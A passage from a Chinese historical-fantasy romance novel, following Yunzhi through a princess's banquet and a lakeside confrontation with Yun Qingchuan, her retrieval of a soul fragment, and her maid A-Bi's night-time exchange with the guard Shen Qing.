云织本欲先行离开的,可长平公主却以赔罪为名,极力邀请她留下用饭。 她不好再三推辞,便只能留了下来。 午宴设在正厅,男客女客分开而坐,中间以屏风隔开。 席间,同席的贵女小姐们悄声说着话,看着面前的各色珍馐,云织却毫无胃口。 以长平公主的身份,还不至于在这宴席上动什么手脚,但经过方才那一幕,云织却只觉得,这华贵堂皇的公主府与长平公主此人一样,让她很是反胃。 这里的一切,她碰都不想碰一下。 “云织小姐,你……你怎么样?”就在云织静坐难捱时,云妍初出现了。 她站在云织身侧,满脸的关心,“我……方才听说了客院发生的事,还好,当时云织小姐不在那房间里!” 云织抬眸看着云妍初,久久未语。 “云织小姐,你……你为何这样看着我……”云妍初被云织的目光看得心慌,却又不明白缘由。 “我是在想,妍初小姐,方才幸好也不在客院的房间。”云织说话间,观察着她面上的神色。 云妍初闻言,面上不由得一白。 她方才竟没有想到此层! “是……是的……”云妍初揪着手中的帕子,满脸都是后怕,“还好,方才长平公主叫我过去,说了会话,我就没有回客院,不然……” 云织观察了半晌,心里便有了判断。 云妍初,应只是被长平公主支开了,对此是不知情的。 “妍初小姐回去用饭吧,这里太闷了,我出去透透气。”云织言罢,便起身向外走去。 在她起身向外走之时,视线无意间掠过,便见长平公主红衣似火,正站在厅前角落,与谢凛对面说话。 长平公主媚眼如丝看着谢凛,粉面上都是娇羞的笑意。 云织觉得心里莫名一堵,便收回了视线,向外走去。 25. 不能再等 公主府正厅的一侧,便是一个小花园。 花园虽不大,但布置得却很是精致,小湖、假山、花木、凉亭,应有尽有。 云织独自来到凉亭中,看着亭下的湖面沉思。 短短半日,发生了太多的事,她一直无暇捋清思绪。 她和阿璧,来京城已经许久。 云家的案子,没有更进一步的线索,云清川为何于云家灭门当夜出现在悬崖上,她也还没有摸清。 可她却已处处树敌。 看来,接下来的路,只会更难走。 难走也无妨。 云家的案子,既然可能与皇权有关,那么,前面的路,本便不会好走的。 云织张开手,看着手心的同心符,和那条像是停止了蔓延的金线。 同心符微微泛红,散发出阵阵暖意。 回想今日与谢凛之间发生的种种,云织的眸色一时很是复杂。 她本计划好的,要离谢凛远一些。 为云家四十余口复仇,她会不惜一切代价,哪怕是她的性命,但—— 这代价,绝不包含谢凛。 所以,她与他划清界限,希望他日后安好无虞。 可如今,随着她不断向前,他们之间的纠葛,却像是更深了。 “本将军方才,一直与云织小姐在一起。” 他方才便那样站在她身边,面色沉肃却坚决,声音坦荡又笃定。似乎丝毫未想过,此言代表着什么。 “谢凛,你是不是……认出我了。”云织看着手心的同心符,轻轻道。 不是疑问,更像是,给了自己一个答案。 自从来到京城,每次她需要帮助的时候,谢凛从未拒绝。 今日两次遇险,他更是如从天而降一般,出现在她身边。 可…… “我们如今,不该再有瓜葛的。”云织攥着手心,又喃喃道。 她如今孤身一人,无父无母,无权无势,更没有家族庇护。 而他,是谢家军的少帅,京畿卫的统领,当今皇帝眼中的红人。 她只有血海深仇,没有未来。而谢凛,却有大好的前途。 她不该牵累他的。 就在云织沉思间,却见对面的湖边花丛处,似乎有微光闪烁。 云织蹙眉,起身离开了凉亭,来到对面的湖边。 这花丛离湖边很近,云织不得不踩着湖边垒砌好的石块,慢慢靠近。 在看清花丛中之物时,云织的眸色蓦然一亮。 竟是一道碎魂。 这气息,和先前她在公主府那院子里发现的那道,一模一样。 这丫鬟的第二道碎魂,竟然来得如此容易。 云织直起身,四下看了看。 确认周围的确无人后,她才悄然拔下了头上的玉簪。 那道碎魂慢悠悠飘起,直直飘入了玉簪之中。 云织轻轻舒了口气,转身欲走,抬手要将簪子插回发间。 却不想她踩中的石块竟然松动了,脚下不稳间一个踉跄。 “小心!” 在云织以为她要跌入湖中的时候,却感觉手臂蓦然被人拉住,而后被用力一扯。 她被这股力量带着,瞬间便回到了湖边的岸上。 云织站定身形后,便连退了几步,控制住慌乱的心跳,抬眼。 云清川站在湖边,温润的目光正落在她身上。 “云织小姐,没事吧?”云清川看着她,一脸的关切之色。 “多谢云大公子,我没事。”云织垂眸道。 “方才,云织小姐在找什么?”云清川似乎并未注意到她的神色,“靠湖边那样近,很危险的。” “方才发簪掉了。” 终于,云清川听出了云织话中的疏离,面上的关切之色逐渐淡了下去。 半晌之后,他才温润一笑,“那便好。” “云大公子,告辞。”云织不欲与他多说,便转身离开。 “云织小姐,与谢少将军,很相熟吗?” 云织闻言心眸光一闪,不由得停下了脚步。 “方才,我听人说了客院发生的事,还好,云织小姐未有损伤。”云清川看着她的背影,一向温润的眸子中满是莫名的情绪。 “只是,云织小姐,是何时与谢少将军相识的呢?” 云织转过头,看着云清川。 “云大公子觉得,我是何时与谢少将军相识的呢?”云织眸色淡漠,嘴角却似噙了一丝笑意。 云清川面上的神色一滞。 “若我说,我与谢少将军并不相识,只有几面之缘,如何?” “若我说,我与谢少将军相识已久,又如何?” 云织浅浅一笑,“说来我与云大公子也不过是几面之缘,云大公子是以何身份,来问我这个问题?” 说完,不待云清川回答,云织便转过身。 转身的瞬间,她眸中的笑意便冷了下来。 云清川会怀疑她的身份,她早有预料。 那日她故意穿浅翠色衣裙、对云清川提起他曾说过的话也好,云清川送她出府时,她故意像先前一样对他笑也罢。 全是她故意为之。 只有他怀疑她的身份,心虚之下,才会露出破绽。 … 待云织回到正厅,感受到两道利刃一般的目光向她望过来,云织蹙眉,便侧头看过去。 是许姝。 许姝攥着帕子,几乎是咬牙切齿地看着她,一张脸涨得通红。 云织恍然了一瞬,蓦然想到那日她曾偷看云清川时眼底的情愫,心下了然。 想必,许姝是看到了方才她与云清川在湖边交谈的一幕。 云织只冷冷瞥了她一眼,便再不理会。 许姝是否有参与今日燕紫鸢与长平公主对她的设计,尚未可知,但若她日后真的做出什么,她看在许衡奕的情面上,兴许会原谅她一次,两次。 但,绝非次次。 男客一侧。 隔着屏风,谢凛看着云织回到座位坐定,才收回了视线。 谢凛身侧,萧承景看着谢凛若有所思的模样,不由得挑了挑眉。 “阿凛,我们还不走么?” “再坐坐。” 萧承景闻言,浓眉又是一挑。 以阿凛的性子,能参加这样的宴会已是难得,肯入席用饭更是罕见。 如今既不吃东西,又不肯走…… 萧承景的目光顺着谢凛的看过去,隔着屏风,便看到了云织。 “说起来,阿凛,你与那位云织小姐,果真是几面之缘么?”萧承景眸中染了笑意,弯了弯唇角,“我怎么听说,方才在众人面前,你说一直与云织小姐在一起呢。” 几面之缘,就如此在意? 这小子,是有事瞒着他。 云织小姐,也姓云,难道……与阿凛凤梧山的青梅竹马,有什么关系? 谢凛并未答话,甚至连一个眼神都未曾给他。 “不过,这位云织小姐,倒的确很是特别。姿容气质绝佳不说,更有一手好医术,最难得便是心思沉稳,胆识过人。”萧承景见谢凛不答话,也不生气,笑了笑便继续道。 “这样的女子,日后有机会,定要结交一番。” 谢凛闻言,终于有了反应。 他仍是没有言语,手却忍不住攥紧。 果然,他不能再等下去了。 他的昭昭,是这世上最好的女子。从前,这份美好只属于他一人,可如今,却引来诸多觊觎。 隔着屏风,看着那道让他魂牵梦系的身影,谢凛眸色灼灼如火。 满是坚定。 … 待用过了饭、终于可以离开时,已近未时。 终于踏出了公主府的正门,云织不由得长舒了口气。 不过才在这公主府内大半日,如今走出来,竟有些恍若隔世之感。 “织织!”阿璧早已等在公主府门口,见云织出来,便一脸喜色地上前来。 “让我看看!嗯,没有受伤,也没有吹笛。看来,今日一切顺利?”阿璧半开着玩笑,凑近仔细看着云织。 云织浅笑着,舒了口气,“说来话长,待我回去慢慢告诉你。” 回去的马车上,阿璧一脸迫不及待地催促,云织便将在长平公主府发生的事拣着说了。 “你遇到危险了?”阿璧听到云织说有男子闯入她的房间,立时皱眉打断。 “我不是说过,遇到危险要吹笛!你为何没有吹呢?” “也不算是遇险,”云织忙开口安抚,“我用银针将那人刺晕了,心里便明白,后面的场面我可以应付,而且……” 云织的面上掠过一丝不自然,“而且,后来谢大人恰好路过,帮了我。所以你的笛子才没有派上用场。” 云织并未说实话。 即便是她真的遇险,也不可能吹笛,让阿璧冒险闯进来的。 公主府是什么地方,若是阿璧真的强闯,任她功夫再高,也讨不到什么好处。 “是谢大人?”阿璧眉毛一挑。 “嗯。” 听云织讲了前因后果,阿璧的面上 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她答应过阿璧的,日后织魂,要她先同意才行。 不出意料,阿璧很是生气。 “不许就是不许!” 阿璧蹙眉,面色冷沉,“自你不为人织魂,那金线便再未延长,那便就这样保持下去!至于调查云家灭门的凶手,我们自会有旁的办法!” “阿璧,这次,我不能听你的。”云织看着阿璧,满脸的郑重,说出口的话却无比坚决。 “随着恢复的记忆越多,我便越觉得,我醒来后,有了这织魂的术法原因,便是为了替云家四十余口报仇。” “我要亲手解开真相。阿璧,不要拦我。” 还有句话,她没有说。 她没有时间了。 阿璧蹙眉看着她,面色如霜,却终究没有再开口。 黑暗中,云织闭着眼,轻轻叹了口气。 “阿璧,对不起。”她喃喃道。 不知过了多久,她才终于沉沉睡去。 而与云织一墙之隔的阿璧,此刻仍睁着双眼,毫无睡意。 晚间云织说那些话时的模样犹在眼前,阿璧只觉得心内满是憋闷。 她无法阻拦云织,即便她心疼,即便她知道,这条路继续走下去,可能会面临什么。 从云家四十余口只剩她们两人的那天起,云织与她,从来都没得选择。 见窗外月色如水,阿璧索性起身,穿衣。 她来到院中,仰头看看天上的月色,而后脚尖轻点间飞身而起,跃上了屋顶。 阿璧站定后,轻声道:“沈青护卫。” 声音不大,但以沈青的功力,自然是可以听到的。 无人应声。 阿璧勾了勾唇角,抱起了手臂:“沈青护卫,如果你还不出来,下次我见到你主子,可要告你一个玩忽职守了哦。” 她话音才落,身边便似有一阵轻风掠过。 侧头看去,同样一身玄衣的沈青已立在身旁。 “沈青护卫,好巧啊,今日,也是路过?”阿璧微微歪头看着沈青,一脸窃笑。 沈青的面上掠过一丝尴尬,好在在夜色的遮掩下,并不明显。 “阿璧姑娘,何必明知故问呢。”沈青苦笑道。 “本姑娘睡不着,你陪本姑娘练会剑。”阿璧身形微弓,言语间便拉开了架势。 “不可,”沈青低声拒绝,“太易引起旁人注意。” 阿璧闻言面色便是一肃,方才的一腔兴致瞬间消散。 “也是。” 她静静站着,再不言语。 沈青便也不出声。 黑暗中,两人互相沉默站着,耳边只有秋风拂过时,树叶的沙沙作响。 许久之后,阿璧终于转过身。 “算了,本姑娘回去睡了。” 待来到房檐处,阿璧又侧过身看着沈青,狡黠一笑:“天凉了,这长夜漫漫、更深露重的,沈青护卫可要多加些衣服,以免着凉呢。” 话音才落,阿璧已翻身而下。 沈青被阿璧所言一噎,无言望天。 果然,主子的体面,便是下人的脸面。 若是主子在云织小姐面前更体面些,他也不至于整日辛苦守夜,还要被云织小姐的丫鬟如此打趣。 沈青自怨自艾了半晌,脚尖一点,重又隐入了黑暗之中。